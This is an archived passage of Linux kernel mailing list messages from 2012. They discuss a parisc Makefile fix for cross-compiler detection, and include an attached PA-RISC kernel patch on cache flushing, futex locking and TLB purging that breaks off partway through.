Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330438266 15267 80.91.229.3 (28 Feb 2012 14:11:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 14:11:06 +0000 (UTC)
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>,
	"kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"deller@gmx.de" <deller@gmx.de>,
	"dave.anglin@bell.net" <dave.anglin@bell.net>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-next@vger.kernel.org" <linux-next@vger.kernel.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 28 15:11:03 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S2Nle-0004yS-Vs
	for glpp-linux-parisc@plane.gmane.org; Tue, 28 Feb 2012 15:11:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755030Ab2B1OKx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 Feb 2012 09:10:53 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:43268 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751299Ab2B1OKs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 Feb 2012 09:10:48 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5DB428EE12E;
	Tue, 28 Feb 2012 06:10:47 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id f6Djvla8DBmB; Tue, 28 Feb 2012 06:10:47 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 3B8EC8EE0A3;
	Tue, 28 Feb 2012 06:10:46 -0800 (PST)
In-Reply-To: <201202280106.23643.vapier@gentoo.org>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4205 gmane.linux.kernel:1259377 gmane.linux.kernel.next:21000
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4205>

On Tue, 2012-02-28 at 01:06 -0500, Mike Frysinger wrote:
> On Monday 27 February 2012 22:17:01 James Bottomley wrote:
> > On Mon, 2012-02-27 at 20:04 -0500, Mike Frysinger wrote:
> > > On Monday 27 February 2012 17:03:10 James Bottomley wrote:
> > > > --- a/arch/parisc/Makefile
> > > > +++ b/arch/parisc/Makefile
> > > > 
> > > > -CROSS_COMPILE	:= hppa64-linux-gnu-
> > > > +
> > > > +# if no default set, try to find the corresponding 64 bit compiler
> > > > +ifeq ($(CROSS_COMPILE),)
> > > > +CROSS_COMPILE	:= $(shell $(CC) -dumpmachine | sed
> > > > s/hppa-\\\(.*\\\)/hppa64-\\1-/) +endif
> > > 
> > > fails when using "hppa2.0-xxx".  perhaps:

Is that a valid prefix?  I was thinking hppa32 might be, but hppa2.0 is
supposed to be hppa-xxx with -mpa-risc-2-0.

But anyway, I think being clever and removing unused stuff is likely
orthogonal to the first patch which is just making it all work.

> > > CROSS_COMPILE ?= $(shell $(CC) -dumpmachine | sed
> > > 's/^hppa[^-]*-/hppa64-/')
> > > 
> > > don't even need the ifeq check then
> > 
> > How is that different from Carlos' suggestion?
> 
> sorry, but i'm not seeing any e-mails from Carlos in this thread.  what is his 
> suggestion ?

Actually, I misspoke, it was your suggestion in the first thread.

> > The reason it doesn't work is the same ... CROSS_COMPILE is defined to be
> > empty.
> 
> my suggestion was purely an incremental improvement on the patch you posted.  
> it improves two things:
> 	- detection when the default tuple is hppa2.0-xxx rather than hppa-xxx
> 	- one line for set-variable-only-when-its-unset rather than three lines
> -mike

It can't be done ... defined but empty is different from not defined in
makefiles (ifdef or ?= only checks for not defined).  CROSS_COMPILE gets
automatically defined by the top level Makefile ... that's why we need a
check for empty not a check for not defined.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE for 64 bit.
Date: Tue, 28 Feb 2012 10:21:02 -0500
Organization: wh0rd.org
Lines: 84
Approved: news@gmane.org
Message-ID: <201202281021.05897.vapier@gentoo.org>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com> <201202280106.23643.vapier@gentoo.org> <1330438245.2822.114.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1859382.OvXdmgvv1I";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330442472 18209 80.91.229.3 (28 Feb 2012 15:21:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 15:21:12 +0000 (UTC)
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>,
	"kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"deller@gmx.de" <deller@gmx.de>,
	"dave.anglin@bell.net" <dave.anglin@bell.net>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-next@vger.kernel.org" <linux-next@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-next-owner@vger.kernel.org Tue Feb 28 16:21:10 2012
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1S2OrU-0005S7-Te
	for glkn-linux-next@plane.gmane.org; Tue, 28 Feb 2012 16:21:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965502Ab2B1PVH (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Tue, 28 Feb 2012 10:21:07 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:56954 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S964962Ab2B1PVG (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Tue, 28 Feb 2012 10:21:06 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 4609B1B4002;
	Tue, 28 Feb 2012 15:21:06 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.2.0; KDE/4.6.5; x86_64; ; )
In-Reply-To: <1330438245.2822.114.camel@dabdike.int.hansenpartnership.com>
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:21001 gmane.linux.ports.parisc:4206 gmane.linux.kernel:1259414
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/21001>

--nextPart1859382.OvXdmgvv1I
Content-Type: Text/Plain;
  charset="utf-8"
Content-Transfer-Encoding: quoted-printable

On Tuesday 28 February 2012 09:10:45 James Bottomley wrote:
> On Tue, 2012-02-28 at 01:06 -0500, Mike Frysinger wrote:
> > On Monday 27 February 2012 22:17:01 James Bottomley wrote:
> > > On Mon, 2012-02-27 at 20:04 -0500, Mike Frysinger wrote:
> > > > On Monday 27 February 2012 17:03:10 James Bottomley wrote:
> > > > > --- a/arch/parisc/Makefile
> > > > > +++ b/arch/parisc/Makefile
> > > > >=20
> > > > > -CROSS_COMPILE	:=3D hppa64-linux-gnu-
> > > > > +
> > > > > +# if no default set, try to find the corresponding 64 bit compil=
er
> > > > > +ifeq ($(CROSS_COMPILE),)
> > > > > +CROSS_COMPILE	:=3D $(shell $(CC) -dumpmachine | sed
> > > > > s/hppa-\\\(.*\\\)/hppa64-\\1-/) +endif
> > > >=20
> > > > fails when using "hppa2.0-xxx".  perhaps:
>=20
> Is that a valid prefix?  I was thinking hppa32 might be, but hppa2.0 is
> supposed to be hppa-xxx with -mpa-risc-2-0.

we've been using hppa2.0 for years.  gnuconfig certainly recognizes it:
$ grep hppa /usr/share/gnuconfig/config.sub=20
        | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa6=
4 \
        | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \

and i've seen diff projects key off of the hppa2.0* to enable newer feature=
s by=20
default.

> But anyway, I think being clever and removing unused stuff is likely
> orthogonal to the first patch which is just making it all work.

sure, but your new patch added the sed :)

> > > The reason it doesn't work is the same ... CROSS_COMPILE is defined to
> > > be empty.
> >=20
> > my suggestion was purely an incremental improvement on the patch you
> > posted.
> >=20
> > it improves two things:
> > 	- detection when the default tuple is hppa2.0-xxx rather than hppa-xxx
> > 	- one line for set-variable-only-when-its-unset rather than three lines
>=20
> It can't be done ... defined but empty is different from not defined in
> makefiles (ifdef or ?=3D only checks for not defined).  CROSS_COMPILE gets
> automatically defined by the top level Makefile ... that's why we need a
> check for empty not a check for not defined.

yeah, OK ... this behavior changed from what i was remembering.  ?=3D used =
to=20
work until the top level Makefile was improved.
=2Dmike

--nextPart1859382.OvXdmgvv1I
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJPTPDhAAoJEEFjO5/oN/WBtdUP/0MI0sDoAUuzasH5CqWbnLXX
9Gg45A5+isNxsptOF8IedVdyQuapd6Zu+ahQR9aRTKpT/gc/2gz+qx/zFlFnxa6e
6K/BJIuRbTQh2eYNTWN/5JM8PKROOAdqulbgxwjlggH68NEerB5Ml+Vwn79isBCR
GrJFyCRGNoowdxlwdEuE3lrF3RbxUKGKEqMGkk6OoMzdGDCZSWFH6qqw2BBfR/3n
oFANwujOAza0QtkNRsnGc0MAPDQ9wG6QosXA7HMyBKxXXN6UXzIJmqeqYJeya0th
Kfgd3mctu3XF9xtQWOiAgyYdLtjplQ/9wJ3tl7n/dTpgKkk0KcNzr7WkgNR93s0y
D8r4DfwX3fr56Z/JUF+nbxiisgTMUdzLmLOThQEhF7Zpw9l7RgGaMAbukdv/QQaD
zc/sj9wzSELGCwurVVdSmA5tS4RUC727iHX86d2XnjrssHIzvGizKP3WRXKAw/Dw
bGcApPRpPTO3qZXzlToFQDnKyAujExkuDIWroilOXN1qmUzWVEgRV3/5z9Ls04VP
eDlzig/3baGYRDO84Nyu4sB13+yuScJrRSQpyXJvf/r9NWlI7gRgj6KOs4g9uDpl
xfwjIz4mokOLXWPP1QKZAG/H8TQUM81rYCcgZzRj2T9pR879C0vbeTP/ZEdHEWCy
L8xVjtcIf9tz4go5+0In
=UefJ
-----END PGP SIGNATURE-----

--nextPart1859382.OvXdmgvv1I--

From - Thu Nov 08 21:07:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC (take 2)
Date: Tue, 28 Feb 2012 10:28:10 -0500
Lines: 1379
Approved: news@gmane.org
Message-ID: <4F4CF28A.5050407@bell.net>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl>   <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com>   <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl>   <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl>   <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com>   <4F031B1A.4010908@bell.net>  <1325604740.3185.4.camel@dabdike.int.hansenpartnership.com>  <4F032C4C.10805@bell.net> <1325608972.3185.8.camel@dabdike.int.hansenpartnership.com> <4F034B6B.5020809@bell.net> <BLU0-SMTP5091B64E5E2C07CEDC0D41978C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------080602000706010809020909"
X-Trace: dough.gmane.org 1330442911 21896 80.91.229.3 (28 Feb 2012 15:28:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 15:28:31 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 28 16:28:28 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S2OyY-0003vM-Ql
	for glpp-linux-parisc@plane.gmane.org; Tue, 28 Feb 2012 16:28:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755192Ab2B1P2U (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 Feb 2012 10:28:20 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:42905 "EHLO
	mail-05.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752935Ab2B1P2Q (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 Feb 2012 10:28:16 -0500
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-05.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1S2OyJ-0006EL-1w; Tue, 28 Feb 2012 10:28:12 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:10.0.2) Gecko/20120216 Thunderbird/10.0.2
In-Reply-To: <BLU0-SMTP5091B64E5E2C07CEDC0D41978C0@phx.gbl>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4207
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4207>

This is a multi-part message in MIME format.
--------------080602000706010809020909
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

On 1/29/2012 4:45 PM, John David Anglin wrote:
> Here is take take 2.  It's against linux-stable v3.2.2.  I also have a 
> very similar
> version against v3.1.10.
>
Here is take 3.  Since take 2, I have tried mainly to explore 
performance issues.

The big difference is a new implementation of flush_cache_mm where I try to
avoid the brutal flush of the whole cache.  This drops the full GCC 
build time at
-j4 from about six hours nine minutes to three hours ten minutes on 
rp3440 (i.e.,
almost by a factor two).  Build and check time is still a bit slower 
than HP-UX.
There's probably more to tweak here.

Other changes made little difference (e.g., clear_page_asm).  I also 
explored
the affect of prefetch operations in clear_page_asm and copy_page_asm, but
the difference if any was in the noise.

Dave

-- 
John David Anglin    dave.anglin@bell.net


--------------080602000706010809020909
Content-Type: text/plain;
 name="linux-stable-3.2.7-20120226-2.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="linux-stable-3.2.7-20120226-2.txt"

diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index da601dd..08f85dc 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -115,7 +115,9 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 {
 	if (PageAnon(page)) {
 		flush_tlb_page(vma, vmaddr);
+		preempt_disable();
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
+		preempt_enable();
 	}
 }
 
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 2388bdb..7839285 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -8,6 +8,29 @@
 #include <asm/atomic.h>
 #include <asm/errno.h>
 
+/* The following has to match the LWS code in syscall.S.  We have
+   sixteen four-word locks. */
+
+static inline void
+_futex_spin_lock_irqsave (u32 __user *uaddr, unsigned long int *flags)
+{
+	extern u32 lws_lock_start[];
+	long index = ((long)uaddr & 0xf0) >> 2;
+	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
+	local_irq_save(*flags);
+	arch_spin_lock(s);
+}
+
+static inline void
+_futex_spin_unlock_irqrestore (u32 __user *uaddr, unsigned long int *flags)
+{
+	extern u32 lws_lock_start[];
+	long index = ((long)uaddr & 0xf0) >> 2;
+	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
+	arch_spin_unlock(s);
+	local_irq_restore(*flags);
+}
+
 static inline int
 futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 {
@@ -26,7 +49,7 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_disable();
 
-	_atomic_spin_lock_irqsave(uaddr, flags);
+	_futex_spin_lock_irqsave(uaddr, &flags);
 
 	switch (op) {
 	case FUTEX_OP_SET:
@@ -71,7 +94,7 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 		ret = -ENOSYS;
 	}
 
-	_atomic_spin_unlock_irqrestore(uaddr, flags);
+	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
 	pagefault_enable();
 
@@ -113,7 +136,7 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 	 * address. This should scale to a couple of CPUs.
 	 */
 
-	_atomic_spin_lock_irqsave(uaddr, flags);
+	_futex_spin_lock_irqsave(uaddr, &flags);
 
 	ret = get_user(val, uaddr);
 
@@ -122,7 +145,7 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 
 	*uval = val;
 
-	_atomic_spin_unlock_irqrestore(uaddr, flags);
+	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
 	return ret;
 }
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index a84cc1f..a2a375d 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -21,15 +21,27 @@
 #include <asm/types.h>
 #include <asm/cache.h>
 
-#define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
+#define clear_page(page)	clear_page_asm((void *)(page))
+#define copy_page(to,from)      copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
+void clear_page_asm(void *page);
+void copy_page_asm(void *to, void *from);
+void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+
+// #define CONFIG_PARISC_TMPALIAS
+
+#ifdef CONFIG_PARISC_TMPALIAS
+void clear_user_highpage(struct page *page, unsigned long vaddr);
+#define clear_user_highpage clear_user_highpage
+struct vm_area_struct;
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma);
+#define __HAVE_ARCH_COPY_USER_HIGHPAGE
+#endif
 
 /*
  * These are used to make use of C type-checking..
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 22dadeb..891b369 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -40,7 +40,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm,addr,ptep, pteval)                        \
+        do{                                                     \
+                set_pte(ptep,pteval);                           \
+                purge_tlb_entries(mm,addr);                     \
+        } while(0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -460,10 +467,13 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 #ifdef CONFIG_SMP
 	unsigned long new, old;
 
+	/* ??? This might be racy because the page table updates in
+	   entry.S don't use the same lock.  */
 	do {
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index dcd5510..5df1597 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -141,6 +141,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -230,6 +231,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 83335f3..eddeddb 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -134,7 +134,7 @@ parisc_cache_init(void)
 	if (pdc_cache_info(&cache_info) < 0)
 		panic("parisc_cache_init: pdc_cache_info failed");
 
-#if 0
+#if 1
 	printk("ic_size %lx dc_size %lx it_size %lx\n",
 		cache_info.ic_size,
 		cache_info.dc_size,
@@ -268,9 +268,11 @@ static inline void
 __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 		   unsigned long physaddr)
 {
+	preempt_disable();
 	flush_dcache_page_asm(physaddr, vmaddr);
 	if (vma->vm_flags & VM_EXEC)
 		flush_icache_page_asm(physaddr, vmaddr);
+	preempt_enable();
 }
 
 void flush_dcache_page(struct page *page)
@@ -316,7 +318,7 @@ void flush_dcache_page(struct page *page)
 		flush_tlb_page(mpnt, addr);
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
+			if (old_addr && parisc_requires_coherency())
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
 			old_addr = addr;
 		}
@@ -331,17 +333,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -375,20 +366,9 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
 
-extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
-
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
-{
-	unsigned long flags;
-
-	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start(flags);
-	pdtlb_kernel(page);
-	purge_tlb_end(flags);
-	clear_user_page_asm(page, vaddr);
-}
-EXPORT_SYMBOL(clear_user_page);
+extern void purge_kernel_dcache_page_asm(unsigned long);
+extern void clear_user_page_asm(void *, unsigned long);
+extern void copy_user_page_asm(void *, void *, unsigned long);
 
 void flush_kernel_dcache_page_addr(void *addr)
 {
@@ -401,11 +381,26 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
+void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
+{
+	clear_page_asm(vto);
+	if (!parisc_requires_coherency())
+		flush_kernel_dcache_page_asm(vto);
+}
+EXPORT_SYMBOL(clear_user_page);
+
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-		    struct page *pg)
+	struct page *pg)
 {
-	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
+	/* Copy using kernel mapping.  No coherency is needed
+	   (all in kmap/kunmap) on machines that don't support
+	   non-equivalent aliasing.  However, the `from' page
+	   needs to be flushed before it can be accessed through
+	   the kernel mapping. */
+	preempt_disable();
+	flush_dcache_page_asm(__pa(vfrom), vaddr);
+	preempt_enable();
+	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
 		flush_kernel_dcache_page_asm(vto);
 }
@@ -460,8 +455,64 @@ void flush_cache_all(void)
 	on_each_cpu(cacheflush_h_tmp_function, NULL, 1);
 }
 
+static inline unsigned long mm_total_size(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long usize = 0;
+
+	for (vma = mm->mmap; vma; vma = vma->vm_next)
+		usize += vma->vm_end - vma->vm_start;
+	return usize;
+}
+
+static inline pte_t *get_ptep(pgd_t *pgd, unsigned long addr)
+{
+	pte_t *ptep = NULL;
+
+        if (!pgd_none(*pgd)) {
+                pud_t *pud = pud_offset(pgd, addr);
+                if (!pud_none(*pud)) {
+                        pmd_t *pmd = pmd_offset(pud, addr);
+                        if (!pmd_none(*pmd)) {
+                                ptep = pte_offset_map(pmd, addr);
+                        }
+                }
+        }
+	return ptep;
+}
+
 void flush_cache_mm(struct mm_struct *mm)
 {
+	/* Flushing the whole cache on each cpu takes forever on
+	   rp3440, etc.  So, avoid it if mm isn't too big.  */
+	if (mm_total_size(mm) < parisc_cache_flush_threshold) {
+		struct vm_area_struct *vma;
+
+		if (mm->context == mfsp(3)) {
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				flush_user_dcache_range_asm(vma->vm_start, vma->vm_end);
+				if(vma->vm_flags & VM_EXEC)
